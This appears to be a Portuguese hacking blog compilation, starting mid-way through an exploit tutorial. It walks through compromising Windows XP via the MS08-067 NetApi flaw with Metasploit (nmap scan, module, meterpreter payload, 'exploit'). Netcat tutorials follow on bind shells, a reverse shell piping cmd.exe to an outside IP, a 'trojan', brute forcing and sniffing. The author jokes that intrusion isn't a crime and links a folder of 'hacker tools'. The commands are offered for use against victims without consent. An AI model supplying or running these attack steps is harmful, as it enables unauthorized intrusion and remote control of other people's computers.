Volume Serial Number is 3016-C74B
Directory of C:\Documents and Settings\Administrator\Desktop
10/01/2010 01:32p <DIR> .
10/01/2010 01:32p <DIR> ..
10/01/2010 01:27p 250,839 demo.exe
10/01/2010 01:32p 13,684,370 ImmunityDebugger_1_73_setup.exe
2 File(s) 13,935,209 bytes2 Dir(s) 3,112,681,472 bytes free
C:\Documents and Settings\Administrator\Desktop> 

Obtemos assim acesso à máquina através desta backdoor instalada com o shellcode obtido pelo metasploit.


0x06: conclusões
 Podemos assim ver que com o auxílio do metasploit framework, um pouco de reverse engeneering, uma linguagem de programação simples podemos criar exploits simples e eficazes.As ferramentas disponíbilizadas pela Metasploit Framework são na verdade um enorme auxílio para quem quer escrever exploits.Alguma dúvida são bem vindos em enviar-me um e-mail.
.... pr0misc

Invadindo Windows XP com falha no NetApi

E agora, continuando minha jornada contra a Micro$oft, vamos explorar uma falha no Server Service (NetApi) que afeta desde o Windows 2000, passando pelo XP, Vista (...) e chegando no Server 2008.
Para ver detalhes sobre a falha no enorme boletim de segurança da Microshit, clique aqui.
Segundo o próprio boletim, "nos sistemas Microsoft Windows 2000, Windows XP e Windows Server 2003, um invasor pode explorar esta vulnerabilidade sem autenticação para executar código arbitrário." Em outras palavras, trata-se de um RComE (Remote Command Execution).
"Esta atualização de segurança é classificada como Crítica para todas as edições com suporte do Microsoft Windows 2000, Windows XP, Windows Server 2003 e como Importante para todas as edições com suporte do Windows Vista, Windows Server 2008." Só lamento...
Lembrando que atualizar o sistema pode corrigir a vulnerabilidade. O problema é que 'usuários comuns' geralmente não atualizam. <s>Eu mesmo estou com kernel 2.6.32 até hoje.</s>

A falha em si
CVE-2008-4250. O serviço Servidor não manipula corretamente as solicitações de RPC, fazendo com que um invasor possa assumir total controle do sistema.
RPC (Remote Procedure Call/Chamada de Procedimento Remoto) é um serviço de computação distribuída que permite que um programa chame um procedimento em outro computador da rede. O aplicativo envia o sinal ao servidor, que devolve o retorno.

O NetApi (serviço Servidor) suporta impressão e compartilhamento de arquivos, discos e impressoras.
A manipulação pobre desses pacotes pode levar à uma execução de códigos DOS com privilégios totais.

Explorando
Uma versão atualizada do Metasploit já possui o exploit. Com o número CVE, dado acima, é possível encontrá-lo de forma separada no próprio site do Metasploit.
É uma exploração simples e rápida, que ocorre sem o consentimento da vítima. Neste exemplo, vamos usar o payload bind_tcp (meterpreter).

Abra o terminal e vamos verificar se conseguimos acessar a porta 445 do alvo.
Se você estiver com pressa, vale rodar TCPing nas portas 445 e 139, usadas pelo NetApi.

Código:

$ tcping ip.do.al.vo 445

Se você ver a seguinte mensagem:

Código:

ip.do.alvo port 445 open.

Você vai poder continuar o tutorial.
Com mais calma, execute um Nmap:

Código:

# nmap -sS -p139,445 -O ip.do.al.vo

Com isso veremos se as nossas queridas portas estão abertas, e também teremos o sistema operacional do alvo. Verifique se ele está na lista divulgada no Boletim de Segurança da Microsoft (link acima).

Abra a linha de comando do Metasploit:

Código:

# msfconsole

Agora, vamos 'usar' o exploit:

Código:

> use windows/smb/ms08_067_netapi

As opções também são poucas. Com um 'show options' você pode vê-las. Vamos setá-las:

Código:

> set rhost ip.do.al.vo

Setamos o endereço IP do alvo, seguido do payload (usamos o bind_tcp apenas como exemplo):

Código:

> set payload windows/meterpreter/bind_tcp

Se for usar remote_tcp, será necessário setar também LHOST (seu IP) e LPORT (uma porta para ser aberta).

Agora, o golpe final:

Código:

> exploit

Você verá o 'Started bind handler' seguida de várias mensagens de log.
Caso tudo ocorra bem, o que é provável, você pode digitar 'help' para ver o que é possível fazer. Por exemplo:

Código:

> shell

Você verá o MS-DOS do usuário na sua frente. A partir daqui, você assume sua responsabilidade.

Até a próxima!

Nova lei: Invadir computadores protegidos é crime.
Lógica: Se eu invadi, não é protegido. Logo, não é crime :-)

Creditos : White Collar

NetCat - Conexão Reversa

Acessando um shell remoto

Conexão direta

O primeiro requerimento para se estabelecer uma conexão entre dois computadores é que ambos possuam um protocolo comum instalado, no caso, o TCP/IP, que é padrão da Internet. Por default, todos os sistemas operacionais atuais já o trazem instalado. Em seguida vale lembrar que cada micro pode ter, teoricamente, até 65.535 portas rodando determinados serviços, como o FTP (porta 21), Telnet (porta 23), SMTP (porta 25), HTTP (porta 80), etc...

O primeiro passo para se realizar a conexão, sendo esta direta ou reversa, é abrir uma ou algumas portas, para que haja a comunicação. O Netcat permite abrir portas em pouquíssimos segundos.

No micro que será acessado, abra o prompt de comando e digite o seguinte código:

nc -L -p 14 -vv -e cmd.exe

No código demonstrado, o parâmetro -L fará o programa escutar de modo avançado na porta 14 e nela rodar o executável cmd.exe, que é o prompt de comando do sistema. O parâmetro -vv ( não confunda os dois "Vs" com um "W") permite que você veja o que está acontecendo no sistema durante a execução do comando. A partir deste momento, o micro passa a agir como um servidor, permitindo que outros micros o acessem e explorem o recurso compartilhado, no caso, o shell do sistema.

Com o módulo servidor rodando, chegou a hora de conectar. No micro cliente, abra o prompt de comando e digite:

nc IPdoservidor 14

Por exemplo, se o endereço do servidor for 192.168.1.2, o comando ficaria assim:

nc 192.168.1.2 14

Se você não possui dois ou mais computadores, experimente usar o endereço de loopback 127.0.0.1, ou então o IP do seu próprio micro.

Nesta etapa da conexão, você pode até mesmo substituir o Netcat pelo telnet, obtendo o mesmo resultado, veja:

telnet 192.168.1.2 14

Esta é uma maneira bastante simples de acesso remoto que, permite em poucos segundos, obter o shell de um sistema. A partir deste ponto, você pode executar praticamente todos os comandos que são interpretados pelo prompt, afim de abrir ou copiar arquivos, editar configurações, visualizar imagens, etc...

Conexão reversa

A partir da criação do protocolo TCP/IP, ficou muito fácil realizar conexões entre diferentes computadores, não importando em qual ponto do planeta estejam, tanto é, que surgiu a Internet, a mãe de todas as redes. O problema surge quando precisamos nos conectar a um computador que esteja numa Intranet (rede privada), onde todos os micros recebem a conexão de um servidor. Esses computadores recebem endereços IP privados, ou seja, só são acessíveis dentro da rede. Geralmente eles começam com os octetos 192.168.1.x. Então, como acessá-los?

Computadores que utilizem endereços privados, só podem ser acessados externamente pelo que chamamos de conexão reversa. Esta permite que o processo de conexão seja realizado ao contrário do que seria o normal (a conexão direta). Consiste em fazer o micro interno (da rede) se conectar ao micro externo, que está conectado diretamente à Internet. Veja como isso pode ser feito no Netcat:

O primeiro passo seria abrir duas portas no micro cliente. Abra duas janelas do prompt de comando.

Na primeira digite:

nc -L -p 14 -vv

Este comando fará o programa escutar de modo avançado na porta 14.

E na segunda:
nc -L -p 15 -vv

O comando fará o mesmo que o anterior, mas escutará a porta 15.Neste caso não utilizamos o parâmetro -e cmd.exe, pois agora o comando estará rodando no cliente e o Netcat irá "puxar" o shell do sistema do servidor. O código abaixo deve ser rodado no servidor:

nc -n IPdocliente 14 | cmd.exe | nc -n IPdocliente 15

Se o IP do cliente é 201.90.50.95, por exemplo, o comando ficaria da seguinte forma:

nc -n 201.90.50.95 14 | cmd.exe | nc -n 201.90.50.95 15

Obs.: o sinal de pipe "|" serve para concatenar (relacionar) a saída de um comando para a entrada de outro.

Ao rodar este comando, o micro servidor se conecta ao cliente na porta 14, passa o que for recebido durante a conexão para o shell do sistema e envia o resultado para o mesmo cliente, porém na porta 15, permitindo assim obter o shell do sistema. A janela que você utilizou para abrir a porta 14, agora servirá para digitar os comandos, que serão concatenados para a segunda janela, onde foi aberta a porta quinze. Veja um exemplo, onde eu peço para mostrar os diretórios:

NetCat - O Canivete suiço do TCP/IP

Vamos dar uma olhada nos comandos do netcat, a opção -H exibe as opções do programa. Basta digitar nc -h e dar enter. Veremos os principais comandos do netcat:

l = Coloca uma porta em estado de listenning(escuta)

L = Coloca uma porta em listenning(escuta), reabrindo a porta caso ela feche

P = Define uma porta

V = ativa o recebimento de eco

U = utiliza o protocolo UDP ao invés de TCP

T = para se conectar a TELNET

O = Gera um log em formato hexadecimal

W = Determina um tempo máximo para aguardar uma reposta

E = Redireciona arquivos.

D = Coloca o netcat em modo furtivo, ou seja, permanece carregado em memória.


Bem, agora que já conhecemos os comandos mais usados do netcat vamos a pratica:

Colocando uma porta em escuta:

Nc -l -p 8080 isso faria com que o netcat colocasse a porta 8080 em escuta, note que foi usado -v para que fosse mostrado a saída do programa na tela “listening on [any] 8080 …“, caso a opção -v não fosse inserida este texto não seria mostrado.

Fazendo um Port-Scanner com o netcat:

nc -vv 127.0.0.1 1-6550 isso faz um scanner da porta 1 à 6550 mais você também pode selecionar as portas que deseja escanear dando um espaço entre os intervalos de portas a ser escaneados ex: nc -vv 127.0.0.1 21 80 23 79 25 isso faria um scanner nas portas 80, 23, 79 e 25.

Fazendo um trojan com o netcat:

Note que basta redirecionar todo o trafego de uma porta enviando a cmd.exe se for windows e bin/bash.sh se for UNIX a sintaxe é a seguinte em sistemas windows nc -L -p 1024 -e cmd.exe e nc -l -p 1024 -e bin/sh em UNIX.

Fazendo um ataque de brute force com o netcat:

O canivete suíço do TCP/IP tem muitas funções interessante uma delas é o brute force um exemplo: nc -vv 79 < c:\usuarios.txt > c:\log.txt note que você precisara de um arquivos com nome de usuários em c: e todo log será gravado em c:\log.txt para que você possa analisar depois. esse força bruta foi feita em cima da porta 79 FINGER mais poderia ser facilmente adaptada a outras portas.

Fazendo um sniffer com o netcat:

O fantástico netcat também pode servir como um sniffer e captura todo trafego em uma rede basta colocar nc -vv -L 127.0.0.1 -p 80 note que o L deve ser maiúsculo pois, esta opção reabre socketes fechados, isso fará com que o netcat capture todo trafego na porta 80 acho que nem é mais necessário dizer que podemos também gravar toda saída em um arquivo TXT, mais bem pra você que ainda não sacou a jogada ai vai nc -vv -L 127.0.0.1 -p 80 > c:\sniffer.txt

Autor: Diablos 4-Ever

Fonte: Desconhecida

Ferramentas hackers

Meu sky-drive com algumas ferramentas hackers,  vale a pena conferir hahaa :D
Clique aqui